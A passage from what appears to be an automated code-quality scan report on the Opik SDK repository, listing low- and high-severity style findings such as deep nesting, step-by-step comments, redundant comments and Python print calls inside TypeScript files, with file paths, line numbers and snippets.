LOWsdks/typescript/tests/integration/connection.test.ts44 // Step 1: Get the resolved config through the public APICOMMENT
LOWsdks/typescript/tests/integration/connection.test.ts47 // Step 2: Clear ALL env vars so only explicit config can provide valuesCOMMENT
LOWsdks/typescript/tests/integration/connection.test.ts58 // Step 3: Pass resolved values as explicit configCOMMENT
LOWsdks/typescript/tests/integration/connection.test.ts68 // Step 4: Verify explicit values are used (not defaults, not env)COMMENT
LOWsdks/typescript/tests/integration/connection.test.ts79 // Step 5: Restore env varsCOMMENT
LOW…ript/tests/integration/api/prompt-environments.test.ts74 // Step 1: create v1, pin it to envA via setPromptEnvironments, then pushCOMMENT
LOW…ript/tests/integration/api/prompt-environments.test.ts101 // Step 2: expand to both envs on v1's version.COMMENT
113 more matches not shown…
Deep Nesting298 hits · 276 pts
SeverityFileLineSnippetContext
LOW…on/tests/unit/cli/test_export_project_rate_limiting.py250CODE
LOW…on/tests/unit/cli/test_export_project_rate_limiting.py312CODE
LOW…on/tests/unit/cli/test_export_project_rate_limiting.py343CODE
LOW…on/tests/unit/cli/test_export_project_rate_limiting.py601CODE
LOW…s/unit/cli/test_migrate_dataset_experiments_cascade.py220CODE
LOW…s/unit/cli/test_migrate_dataset_experiments_cascade.py243CODE
LOW…hon/tests/unit/anonymizer/test_recursive_anonymizer.py396CODE
LOW…hon/tests/unit/anonymizer/test_recursive_anonymizer.py402CODE
LOW…tests/unit/evaluation/test_evaluate_experiment_name.py395CODE
LOW…tests/unit/evaluation/test_evaluate_experiment_name.py550CODE
LOW…tests/unit/evaluation/test_evaluate_experiment_name.py706CODE
LOW…thon/tests/unit/evaluation/test_evaluate_experiment.py46CODE
LOW…thon/tests/unit/evaluation/test_evaluate_experiment.py68CODE
LOW…thon/tests/unit/evaluation/test_evaluate_experiment.py129CODE
LOWsdks/python/tests/unit/evaluation/test_evaluate.py92CODE
LOWsdks/python/tests/testlib/noop_file_upload_manager.py23CODE
LOWsdks/python/tests/e2e/runner/test_runner_e2e.py97CODE
LOWsdks/python/tests/e2e/runner/test_runner_e2e.py102CODE
LOWsdks/python/tests/e2e/cli/conftest.py620CODE
LOWsdks/python/tests/e2e/evaluation/test_multimodal.py54CODE
LOWsdks/python/tests/e2e/evaluation/test_multimodal.py60CODE
LOWsdks/python/src/opik/jsonable_encoder.py28CODE
LOWsdks/python/src/opik/semantic_version.py140CODE
LOWsdks/python/src/opik/file_upload/upload_manager.py70CODE
LOWsdks/python/src/opik/runner/in_process_loop.py199CODE
LOWsdks/python/src/opik/runner/in_process_loop.py254CODE
LOWsdks/python/src/opik/runner/supervisor.py264CODE
LOWsdks/python/src/opik/runner/supervisor.py342CODE
LOWsdks/python/src/opik/runner/bridge_loop.py76CODE
LOWsdks/python/src/opik/runner/snapshot.py97CODE
LOWsdks/python/src/opik/runner/snapshot.py137CODE
LOW…ks/python/src/opik/runner/bridge_handlers/edit_file.py183CODE
LOW…python/src/opik/runner/bridge_handlers/exec_command.py84CODE
LOW…s/python/src/opik/runner/bridge_handlers/list_files.py67CODE
LOWsdks/python/src/opik/simulation/simulated_user.py89CODE
LOWsdks/python/src/opik/message_processing/streamer.py52CODE
LOW…/python/src/opik/message_processing/encoder_helpers.py45CODE
LOW…age_processing/emulation/emulator_message_processor.py350CODE
LOW…sage_processing/processors/online_message_processor.py84CODE
LOW…/src/opik/message_processing/batching/batch_manager.py69CODE
LOW…/opik/message_processing/batching/sequence_splitter.py16CODE
LOW…ython/src/opik/message_processing/replay/db_manager.py304CODE
LOW…ython/src/opik/message_processing/replay/db_manager.py368CODE
LOW…ython/src/opik/message_processing/replay/db_manager.py464CODE
LOWsdks/python/src/opik/cli/local_runner/pairing.py474CODE
LOWsdks/python/src/opik/cli/healthcheck/smoke_test.py40CODE
LOWsdks/python/src/opik/cli/healthcheck/smoke_test.py131CODE
LOWsdks/python/src/opik/cli/imports/__init__.py32CODE
LOWsdks/python/src/opik/cli/imports/all.py45CODE
LOWsdks/python/src/opik/cli/imports/dataset.py16CODE
LOWsdks/python/src/opik/cli/imports/experiment.py88CODE
LOWsdks/python/src/opik/cli/imports/experiment.py384CODE
LOWsdks/python/src/opik/cli/imports/experiment.py766CODE
LOWsdks/python/src/opik/cli/imports/experiment.py865CODE
LOWsdks/python/src/opik/cli/imports/experiment.py1066CODE
LOWsdks/python/src/opik/cli/imports/utils.py527CODE
LOWsdks/python/src/opik/cli/imports/prompt.py17CODE
LOWsdks/python/src/opik/cli/imports/project.py30CODE
LOWsdks/python/src/opik/cli/imports/project.py104CODE
LOWsdks/python/src/opik/cli/exports/all.py131CODE
238 more matches not shown…
AI Structural Patterns314 hits · 262 pts
SeverityFileLineSnippetContext
LOW…hon/tests/unit/decorator/test_decorator_span_errors.py52CODE
LOW…hon/tests/unit/decorator/test_decorator_span_errors.py71CODE
LOW…ts/unit/cli/test_migrate_dataset_resume_reconstruct.py30CODE
LOW…unit/cli/test_migrate_dataset_optimizations_cascade.py46CODE
LOW…ks/python/tests/unit/cli/test_export_error_handling.py229CODE
LOW…s/unit/cli/test_migrate_dataset_experiments_cascade.py63CODE
LOW…s/unit/cli/test_migrate_dataset_experiments_cascade.py120CODE
LOW…integration/metrics_with_llm_judge/agentic/_seeding.py63CODE
LOW…s/e2e_library_integration/litellm/test_opik_logging.py31CODE
LOWsdks/python/tests/e2e/verifiers.py92CODE
LOWsdks/python/tests/e2e/verifiers.py182CODE
LOWsdks/python/tests/e2e/verifiers.py875CODE
LOWsdks/python/tests/e2e/verifiers.py904CODE
LOWsdks/python/tests/e2e/test_guardrails.py55CODE
LOWsdks/python/tests/e2e/cli/conftest.py141CODE
LOWsdks/python/tests/e2e/cli/conftest.py337CODE
LOWsdks/python/examples/langchain_integration_example.py9CODE
LOWsdks/python/src/opik/opik_context.py59CODE
LOWsdks/python/src/opik/opik_context.py125CODE
LOWsdks/python/src/opik/jsonable_encoder.py108CODE
LOWsdks/python/src/opik/httpx_client.py92CODE
LOW…/python/src/opik/error_tracking/environment_details.py51CODE
LOW…hon/src/opik/llm_usage/base_original_provider_usage.py45CODE
LOWsdks/python/src/opik/guardrails/tracing.py41CODE
LOWsdks/python/src/opik/guardrails/tracing.py53CODE
LOWsdks/python/src/opik/decorator/base_track_decorator.py60CODE
LOWsdks/python/src/opik/decorator/tracker.py50CODE
LOWsdks/python/src/opik/decorator/tracker.py66CODE
LOW…opik/decorator/context_manager/span_context_manager.py14CODE
LOW…pik/decorator/context_manager/trace_context_manager.py15CODE
LOWsdks/python/src/opik/plugins/pytest/decorator.py129CODE
LOWsdks/python/src/opik/plugins/pytest/decorator.py84CODE
LOWsdks/python/src/opik/runner/supervisor.py62CODE
LOWsdks/python/src/opik/cli/exports/project.py427CODE
LOW…hon/src/opik/integrations/aisuite/aisuite_decorator.py76CODE
LOW…hon/src/opik/integrations/aisuite/aisuite_decorator.py155CODE
LOW…ython/src/opik/integrations/crewai/crewai_decorator.py107CODE
LOW…ython/src/opik/integrations/crewai/crewai_decorator.py178CODE
LOW…c/opik/integrations/guardrails/guardrails_decorator.py62CODE
LOW…c/opik/integrations/guardrails/guardrails_decorator.py83CODE
LOW…/python/src/opik/integrations/langchain/opik_tracer.py71CODE
LOW…k/integrations/groq/groq_chat_completions_decorator.py75CODE
LOW…k/integrations/groq/groq_chat_completions_decorator.py117CODE
LOW…rc/opik/integrations/bedrock/invoke_agent_decorator.py55CODE
LOW…rc/opik/integrations/bedrock/invoke_agent_decorator.py72CODE
LOW…rations/bedrock/invoke_model/invoke_model_decorator.py71CODE
LOW…ik/integrations/bedrock/converse/converse_decorator.py59CODE
LOW…ik/integrations/bedrock/converse/converse_decorator.py86CODE
LOW…s/adk/patchers/adk_otel_tracer/opik_adk_otel_tracer.py106CODE
LOW…ks/python/src/opik/integrations/haystack/converters.py30CODE
LOW…ik/integrations/anthropic/messages_create_decorator.py62CODE
LOW…ik/integrations/anthropic/messages_create_decorator.py106CODE
LOW…/opik/integrations/genai/generate_content_decorator.py91CODE
LOW…/opik/integrations/genai/generate_content_decorator.py138CODE
LOW…opik/integrations/openai/openai_responses_decorator.py88CODE
LOW…opik/integrations/openai/openai_responses_decorator.py127CODE
LOW…tegrations/openai/openai_chat_completions_decorator.py89CODE
LOW…tegrations/openai/openai_chat_completions_decorator.py131CODE
LOW…/integrations/openai/videos/videos_create_decorator.py113CODE
LOW…ntegrations/openai/videos/videos_download_decorator.py69CODE
254 more matches not shown…
Over-Commented Block226 hits · 182 pts
SeverityFileLineSnippetContext
LOW.pre-commit-config.yaml321 # ---------------------------------------------------------------------------COMMENT
LOWsdks/python/design/API_AND_DATA_FLOW.md1921# If flush() takes too long:COMMENT
LOWsdks/python/tests/llm_constants.py21"""COMMENT
LOWsdks/python/tests/llm_constants.py41AISUITE_OPENAI_GPT_NANO = f"openai:{OPENAI_GPT_NANO}"COMMENT
LOW…s/unit/cli/test_migrate_dataset_experiments_cascade.py1501COMMENT
LOW…s/unit/cli/test_migrate_dataset_experiments_cascade.py1681 def test_inner_progress_callback__fires_per_trace_and_phase(self) -> None:COMMENT
LOW…/tests/unit/cli/test_migrate_dataset_version_replay.py721 # clear flag. apply_dataset_item_changes called twice; v2 is theCOMMENT
LOW…/tests/unit/cli/test_migrate_dataset_version_replay.py841 "tgt-dupe-1",COMMENT
LOW…/tests/unit/cli/test_migrate_dataset_version_replay.py941 }COMMENT
LOW…ython/tests/unit/evaluation/metrics/test_heuristics.py821 # ROUGE-Lsum splits the text into sentences based on newlines andCOMMENT
LOW…ython/tests/unit/evaluation/metrics/test_heuristics.py861 # Candidate = "The brown fox jumps quickly"COMMENT
LOW…hon/tests/library_integration/bedrock/test_converse.py241 BEDROCK_MODEL_FOR_TESTS,COMMENT
LOW…tion/metrics_with_llm_judge/test_evaluation_metrics.py21# the LangchainChatModel bridge — it exercises the most prompt surfaceCOMMENT
LOW…integration/metrics_with_llm_judge/agentic/conftest.py21import pytestCOMMENT
LOW…integration/metrics_with_llm_judge/agentic/conftest.py41# - Anthropic `claude-sonnet-4-6` *via LiteLLM* (`litellm_anthropic`):COMMENT
LOWsdks/python/src/opik/api_key/opik_api_key.py1# -*- coding: utf-8 -*-COMMENT
LOWsdks/python/src/opik/api_key/__init__.py1# -*- coding: utf-8 -*-COMMENT
LOWsdks/python/src/opik/api_key/base64_helper.py1# -*- coding: utf-8 -*-COMMENT
LOW…ks/python/src/opik/message_processing/message_queue.py41 # grew — otherwise the displaced message's task carries over.COMMENT
LOWsdks/python/src/opik/cli/imports/experiment.py501 # caller (``_build_experiment_data``) remaps the source id toCOMMENT
LOWsdks/python/src/opik/cli/imports/utils.py461# 1. Pass the fields directly to client.trace(), client.span(), andCOMMENT
LOWsdks/python/src/opik/cli/exports/__init__.py81 ctx.obj["project_name"] = projectCOMMENT
LOWsdks/python/src/opik/cli/migrate/datasets/planner.py41# parameter.COMMENT
LOWsdks/python/src/opik/cli/migrate/datasets/planner.py341COMMENT
LOW…ks/python/src/opik/cli/migrate/datasets/experiments.py81# from this module so existing call sites that ``from .experimentsCOMMENT
LOW…ks/python/src/opik/cli/migrate/datasets/experiments.py141# default of 2000 (with the cascade's ``truncate=False`` for round-tripCOMMENT
LOW…ks/python/src/opik/cli/migrate/datasets/experiments.py501 # shape is one item -> one trace).COMMENT
LOW…ks/python/src/opik/cli/migrate/datasets/experiments.py921 # ``project_id`` populated from the trace's actual project at writeCOMMENT
LOW…ks/python/src/opik/cli/migrate/datasets/experiments.py1021 inner_progress.tick(label=f"trace {index}/{total_traces}")COMMENT
LOW…ks/python/src/opik/cli/migrate/datasets/experiments.py1081 # project the experiment's traces live in. ``search_spans`` (likeCOMMENT
LOW…ks/python/src/opik/cli/migrate/datasets/experiments.py1101 if inner_progress is not None:COMMENT
LOW…python/src/opik/cli/migrate/datasets/version_replay.py421 # execution_policy, user version tags, metadata), apply them as aCOMMENT
LOWsdks/python/src/opik/cli/migrate/datasets/_progress.py21# item (version, optimization, experiment). ``completed`` is the countCOMMENT
LOWsdks/python/src/opik/cli/migrate/datasets/executor.py81 client: opik.Opik,COMMENT
LOWsdks/python/src/opik/cli/migrate/datasets/executor.py481 )COMMENT
LOW…ython/src/opik/integrations/crewai/crewai_decorator.py21LOGGER = logging.getLogger(__name__)COMMENT
LOW…ython/src/opik/integrations/crewai/crewai_decorator.py41 # "verbose",COMMENT
LOWsdks/python/src/opik/integrations/adk/opik_tracer.py281 current_span = context_storage.top_span_data()COMMENT
LOWsdks/python/src/opik/integrations/adk/output_cache.py1import collectionsCOMMENT
LOW…rc/opik/evaluation/suite_evaluators/agentic/context.py141 self.emulator.parent_span_ids_for_trace(trace_id).get(span.id)COMMENT
LOW…rc/opik/evaluation/suite_evaluators/agentic/context.py161# an assertion of the form "the agent processed a payload containingCOMMENT
LOW…evaluators/agentic/compression/span_tree_serializer.py21# `len(text) <= limit`, so `sys.maxsize` falls through unchanged withoutCOMMENT
LOWsdks/python/src/opik/evaluation/metrics/ragas_metric.py101 # Solution: Disable context modification (opik_context_read_only_mode=True).COMMENT
LOW…rc/opik/evaluation/models/anthropic/message_adapter.py21# native path here intentionally does NOT mirror that translation: theCOMMENT
LOW…rc/opik/evaluation/models/anthropic/message_adapter.py221 )COMMENT
LOW…c/opik/evaluation/models/litellm/litellm_chat_model.py181 LOGGER.debug(COMMENT
LOWsdks/python/src/opik/evaluation/engine/engine.py121 regular_metrics=regular_metrics,COMMENT
LOWsdks/python/src/opik/evaluation/engine/engine.py221 # the unit tests in `test_evaluate_test_suite.py`: MagicMockCOMMENT
LOW…ypescript/src/opik/configure/src/nodejs/node-wizard.ts181 installDir: options.installDir,COMMENT
LOW…r_algorithms/metaprompt_context7_remote_mcp_example.py41cursor_config = {COMMENT
LOWtests_load/pytest.ini1[pytest]COMMENT
LOW…s/commands/comet/generate-code-review-slack-command.md281# 2. Run command (on a branch with an open PR)COMMENT
LOW…s/commands/comet/generate-code-review-slack-command.md301# COMMENT
LOW…s/commands/comet/generate-code-review-slack-command.md321# :typescript: typescript summary (optional): Added TypeScript SDK support for metricsCOMMENT
LOW…s/commands/comet/generate-code-review-slack-command.md341# Backend summary not found in PR. Enter backend summary (one line, optional - press Enter to skip): Implemented metricsCOMMENT
LOW.agents/commands/comet/create-pr.md61COMMENT
LOW.agents/commands/comet/send-code-review-slack.md341# - Follow the complete setup guide for configuring the Slack MCP serverCOMMENT
LOW.agents/commands/comet/send-code-review-slack.md361# - Python: (not found, prompts user)COMMENT
LOW…ests/online-evaluation/online-evaluation-smoke.spec.ts101 expect(scoreValues.size, 'each seeded trace produced a score').toBe(5);COMMENT
LOWdeployment/helm_chart/opik/values.yaml61 # If `additionalCACertsInSecret` is `true` we will look for this name inCOMMENT
166 more matches not shown…
Verbosity Indicators108 hits · 182 pts
SeverityFileLineSnippetContext
LOWsdks/python/tests/e2e/test_prompt.py1557 # Step 4: clear all environments.COMMENT
LOWsdks/python/tests/e2e/test_prompt.py1504 # Step 1: create v1 and pin it to environment_name; a newer v2 existsCOMMENT
LOWsdks/python/tests/e2e/test_prompt.py1524 # Step 2: add second_environment_name; both envs must be visible on the same version.COMMENT
LOWsdks/python/tests/e2e/test_prompt.py1543 # Step 3: move ownership exclusively to second_environment_name.COMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py244 # Step 1: Prepare test dataCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py254 # Step 2: Export traces using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py313 # Step 1: Prepare test dataCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py322 # Step 2: Export datasets using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py390 # Step 1: Prepare test dataCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py400 # Step 2: Export prompts using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py476 # Step 1: Prepare test data (minimal)COMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py481 # Step 2: Export all data types with limited results using direct function callsCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py756 # Step 1: Create two datasetsCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py903 # Step 1: Create a test chat promptCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py913 # Step 2: Export chat prompt using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py1001 # Step 1: Prepare test data with experimentsCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py1008 # Step 2: Export the project data (traces) using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py289 # Step 3: Import traces using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py359 # Step 3: Import datasets using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py438 # Step 3: Import prompts using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py541 # Step 3: Import all data types using direct function callsCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py790 # Step 2: Create two experiments with different datasetsCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py843 # Step 3: Export experiments filtered by dataset1COMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py857 # Step 4: Verify only experiment1 was exported. Files are named byCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py884 # Step 5: Verify the exported experiment has the correct datasetCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py954 # Step 3: Import chat prompt using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py1054 # Step 3: Test import (experiments are automatically recreated) using direct function callCOMMENT
LOWsdks/python/src/opik/cli/imports/experiment.py126 # Step 1: Collect all dataset_item_id and dataset_item_data from experiment filesCOMMENT
LOWsdks/python/src/opik/cli/imports/experiment.py186 # Step 2: Import datasetsCOMMENT
LOWsdks/python/src/opik/cli/imports/experiment.py238 # Step 3: Get all imported dataset items and match by contentCOMMENT
LOWsdks/python/src/opik/configurator/configure.py181 # Step 1: If the URL is provided and active, update the configurationCOMMENT
LOWsdks/python/src/opik/configurator/configure.py186 # Step 2: Check if the default local instance is activeCOMMENT
LOWsdks/python/src/opik/configurator/configure.py217 # Step 4: Ask user for URL if no valid local instance is found or approvedCOMMENT
LOWsdks/python/src/opik/configurator/configure.py198 # Step 3: Ask user if they want to use the found local instanceCOMMENT
LOWsdks/typescript/tests/integration/connection.test.ts44 // Step 1: Get the resolved config through the public APICOMMENT
LOWsdks/typescript/tests/integration/connection.test.ts47 // Step 2: Clear ALL env vars so only explicit config can provide valuesCOMMENT
LOWsdks/typescript/tests/integration/connection.test.ts58 // Step 3: Pass resolved values as explicit configCOMMENT
LOWsdks/typescript/tests/integration/connection.test.ts68 // Step 4: Verify explicit values are used (not defaults, not env)COMMENT
LOWsdks/typescript/tests/integration/connection.test.ts79 // Step 5: Restore env varsCOMMENT
LOW…ript/tests/integration/api/prompt-environments.test.ts74 // Step 1: create v1, pin it to envA via setPromptEnvironments, then pushCOMMENT
LOW…ript/tests/integration/api/prompt-environments.test.ts101 // Step 2: expand to both envs on v1's version.COMMENT
LOW…ript/tests/integration/api/prompt-environments.test.ts118 // Step 3: move ownership exclusively to envB.COMMENT
LOW…ript/tests/integration/api/prompt-environments.test.ts127 // Step 4: clear all environments.COMMENT
LOW…ks/typescript/examples/evaluate-prompt-with-metrics.ts40 // Step 1: Create or get a dataset for customer support evaluationsCOMMENT
LOW…ks/typescript/examples/evaluate-prompt-with-metrics.ts72 // Step 2: Create a prompt using the Prompt management systemCOMMENT
LOW…ks/typescript/examples/evaluate-prompt-with-metrics.ts95 // Step 3: Set up evaluation metricsCOMMENT
LOW…ks/typescript/examples/evaluate-prompt-with-metrics.ts110 // Step 4: Evaluate the prompt against the datasetCOMMENT
LOW…ks/typescript/examples/evaluate-prompt-with-metrics.ts133 // Step 5: Display evaluation resultsCOMMENT
LOW…ks/typescript/examples/evaluate-prompt-with-metrics.ts153 // Step 6: Advanced usage - Create a new version of the promptCOMMENT
LOW…ks/typescript/examples/evaluate-prompt-with-metrics.ts180 // Step 7: Re-evaluate with the improved promptCOMMENT
LOW…ks/typescript/examples/evaluate-prompt-with-metrics.ts215 // Step 8: Retrieve prompt by name and versionCOMMENT
LOW…ks/typescript/examples/evaluate-prompt-with-metrics.ts233 // Step 9: Format a prompt manually (without evaluation)COMMENT
LOWsdks/typescript/examples/evaluate-prompt-basic.ts12 // Step 1: Get or create a datasetCOMMENT
LOWsdks/typescript/examples/evaluate-prompt-basic.ts28 // Step 2: Create a promptCOMMENT
LOWsdks/typescript/examples/evaluate-prompt-basic.ts36 // Step 3: Create metricsCOMMENT
LOWsdks/typescript/examples/evaluate-prompt-basic.ts40 // Step 4: Run evaluationCOMMENT
LOWsdks/typescript/examples/evaluate-prompt-basic.ts50 // Step 5: View resultsCOMMENT
LOWsdks/typescript/src/opik/configure/src/nodejs/docs.ts216 // Step 1: Context retrieval spanCOMMENT
LOWsdks/typescript/src/opik/configure/src/nodejs/docs.ts232 // Step 2: LLM generation spanCOMMENT
LOWsdks/typescript/src/opik/configure/src/nodejs/docs.ts257 // Step 3: Post-processing spanCOMMENT
48 more matches not shown…
Redundant / Tautological Comments95 hits · 144 pts
SeverityFileLineSnippetContext
LOWopik.sh540 # Check if either curl or wget is availableCOMMENT
LOW…ests/unit/evaluation/metrics/test_arguments_helpers.py66 # Check if the `unused_kwarg` is present in the exception messageCOMMENT
LOW…/tests/library_integration/langchain/test_langgraph.py534 # Check if the output contains either direct messages or wrapped in Command structureCOMMENT
LOW…/tests/library_integration/langchain/test_langgraph.py1172 # Check if question is ambiguousCOMMENT
LOWsdks/python/tests/e2e_smoke/smoke_tests_runner.sh13# Check if any Python files were foundCOMMENT
LOW…ests/e2e_library_integration/harbor/test_harbor_e2e.py251 # Print output for debugging visibilityCOMMENT
LOWsdks/python/tests/e2e/test_annotation_queue.py176 # Add threads to queueCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py216 # Set environment to disable rich output for better subprocess captureCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py267 # Check if the directory was createdCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py721 # Check if it at least didn't create any filesCOMMENT
LOWsdks/python/src/opik/decorator/opik_args/helpers.py31 # Check if a function has opik_args in its signatureCOMMENT
LOW…e_processing/preprocessing/attachments_preprocessor.py45 # Check if it's an Update message - always process theseCOMMENT
LOW…e_processing/preprocessing/attachments_preprocessor.py49 # Check if it's a Create message with end_time set - only process theseCOMMENT
LOWsdks/python/src/opik/cli/imports/dataset.py79 # Check if name is missing or emptyCOMMENT
LOWsdks/python/src/opik/cli/imports/prompt.py64 # Check if name is missing or emptyCOMMENT
LOWsdks/python/src/opik/cli/exports/dataset.py207 # Check if file already exists and should be skippedCOMMENT
LOWsdks/python/src/opik/cli/exports/experiment.py118 # Check if file already exists and should be skippedCOMMENT
LOWsdks/python/src/opik/cli/exports/experiment.py338 # Write files in parallelCOMMENT
LOWsdks/python/src/opik/cli/exports/prompt.py392 # Check if file already exists and should be skippedCOMMENT
LOWsdks/python/src/opik/cli/exports/prompt.py503 # Check if metadata is a dict and has "prompts" keyCOMMENT
LOWsdks/python/src/opik/cli/exports/prompt.py590 # Check if file should be skipped using the standard utilityCOMMENT
LOWsdks/python/src/opik/cli/usage_report/extraction.py171 # Check if within date rangeCOMMENT
LOWsdks/python/src/opik/cli/usage_report/extraction.py194 # Check if there are more pagesCOMMENT
LOWsdks/python/src/opik/cli/usage_report/extraction.py499 # Check if there are more pagesCOMMENT
LOWsdks/python/src/opik/cli/usage_report/extraction.py662 # Check if within date rangeCOMMENT
LOWsdks/python/src/opik/cli/usage_report/utils.py219 # Check if within date rangeCOMMENT
LOW…ks/python/src/opik/integrations/harbor/opik_tracker.py179 # Check if already patchedCOMMENT
LOW…n/src/opik/integrations/langchain/run_parse_helpers.py207 # Check if the value was originally a quoted stringCOMMENT
LOW…n/src/opik/integrations/langchain/run_parse_helpers.py254 # Check if it's a Command object (has a resume attribute)COMMENT
LOW…n/src/opik/integrations/langchain/run_parse_helpers.py257 # Check if it's a serialized Command dictCOMMENT
LOW…/python/src/opik/integrations/langchain/opik_tracer.py260 # Check if any child span has a GraphInterrupt output and use it for trace outputCOMMENT
LOW…/python/src/opik/integrations/langchain/opik_tracer.py381 # Check if the parent is a skipped LangGraph/LangChain root run.COMMENT
LOW…/python/src/opik/integrations/langchain/opik_tracer.py522 # Check if we have trace data (new trace) or distributed headersCOMMENT
LOW…ider_usage_extractors/langchain_run_helpers/helpers.py116 # Check if the current dictionary contains any or all of the candidate keysCOMMENT
LOW…s/python/src/opik/integrations/llama_index/callback.py138 # Check if the output for the last event is already available.COMMENT
LOW…s/python/src/opik/integrations/llama_index/callback.py253 # Check if there's a pending root trace/span output update for this event.COMMENT
LOW…rations/bedrock/invoke_model/invoke_model_decorator.py80 # Check if this is a structured aggregated response dataclassCOMMENT
LOWsdks/python/src/opik/integrations/adk/opik_tracer.py337 # Check if this response contains actual content (first token)COMMENT
LOWsdks/python/src/opik/evaluation/report.py113 # Display resultsCOMMENT
LOWsdks/python/src/opik/evaluation/report.py184 # Display resultsCOMMENT
LOW…/python/src/opik/evaluation/scorers/scorer_function.py39 # Check if it has both dataset_item and task_outputsCOMMENT
LOW…/python/src/opik/evaluation/scorers/scorer_function.py44 # Check if it has at least one task_span parameterCOMMENT
LOWsdks/python/src/opik/api_objects/validation_helpers.py31 # Check if usage is already in backend format (from export/import)COMMENT
LOWsdks/python/src/opik/api_objects/opik_query_language.py498 # Check if it's an escaped quote (doubled quote)COMMENT
LOWsdks/python/src/opik/api_objects/opik_query_language.py541 # Check if the key is quotedCOMMENT
LOWsdks/opik_optimizer/benchmarks/utils/task_runner.py710 # Check if this dataset is handled by a package-specific agent/prompt wiring.COMMENT
LOWsdks/opik_optimizer/scripts/generate_changelog.py122 # Check if version actually changed from previousCOMMENT
LOWsdks/opik_optimizer/scripts/generate_fern_docs.py58 # Check if we're entering the Args sectionCOMMENT
LOWsdks/opik_optimizer/scripts/generate_fern_docs.py64 # Check if this is a new parameter (starts with word followed by colon)COMMENT
LOWsdks/opik_optimizer/scripts/generate_fern_docs.py230 # Check if docstring ends on same lineCOMMENT
LOWsdks/opik_optimizer/scripts/generate_fern_docs.py253 # Check if first line is raise NotImplementedErrorCOMMENT
LOWsdks/opik_optimizer/scripts/generate_fern_docs.py495 # Write the fileSTRING
LOW…ks/opik_optimizer/src/opik_optimizer/base_optimizer.py1434 # Check if optimization failed (finish_reason = "error")COMMENT
LOW…izer/src/opik_optimizer/metrics/task_span/span_cost.py66 # Check if span already has a cost calculated (e.g., from integration tracking)COMMENT
LOWsdks/opik_optimizer/src/opik_optimizer/core/results.py246 # Check if it's a dict of ChatPromptsCOMMENT
LOWsdks/opik_optimizer/src/opik_optimizer/core/results.py733 # Check if it's a dict of ChatPromptsCOMMENT
LOWsdks/opik_optimizer/src/opik_optimizer/core/results.py852 # Check if initial score exists and is a numberCOMMENT
LOW…ptimizer/src/opik_optimizer/datasets/driving_hazard.py125 # Check if dataset already has the correct number of itemsCOMMENT
LOW…orithms/meta_prompt_optimizer/meta_prompt_optimizer.py283 # Check if we should extract patterns from hall of fameCOMMENT
LOW…algorithms/meta_prompt_optimizer/ops/halloffame_ops.py70 # Check if score is high enoughCOMMENT
35 more matches not shown…
Cross-Language Confusion (JS/TS)21 hits · 130 pts
SeverityFileLineSnippetContext
HIGHtests_end_to_end/e2e/agents/known-failing/harness.ts39print(json.dumps({"passed": passed, "total": len(suite["items"])}))`;CODE
HIGH…/v1/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx33print(formatted_prompt)CODE
HIGH…/v1/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx44print(prompt.metadata)CODE
HIGH…/v1/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx48print(formatted_prompt)CODE
HIGH…/v1/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx65print(formatted_messages)CODE
HIGH…/v1/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx76print(chat_prompt.metadata)CODE
HIGH…/v1/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx80print(formatted_messages)CODE
HIGH…nd/src/v1/pages/HomePageShared/GuardrailConfigCode.tsx51 print("Guardrail failed:", e)CODE
HIGH…nd/src/v1/pages/HomePageShared/GuardrailConfigCode.tsx56 print("Guardrail failed:", e)`}CODE
HIGH…-shared/traces/GuardrailConfig/GuardrailConfigCode.tsx51 print("Guardrail failed:", e)CODE
HIGH…-shared/traces/GuardrailConfig/GuardrailConfigCode.tsx56 print("Guardrail failed:", e)`}CODE
HIGH…/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx37print(formatted_prompt)CODE
HIGH…/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx50print(prompt.metadata)CODE
HIGH…/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx54print(formatted_prompt)CODE
HIGH…/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx64print(prompt.metadata)CODE
HIGH…/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx68print(formatted_prompt)CODE
HIGH…/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx87print(formatted_messages)CODE
HIGH…/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx100print(chat_prompt.metadata)CODE
HIGH…/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx104print(formatted_messages)CODE
HIGH…/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx114print(chat_prompt.metadata)CODE
HIGH…/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx118print(formatted_messages)CODE
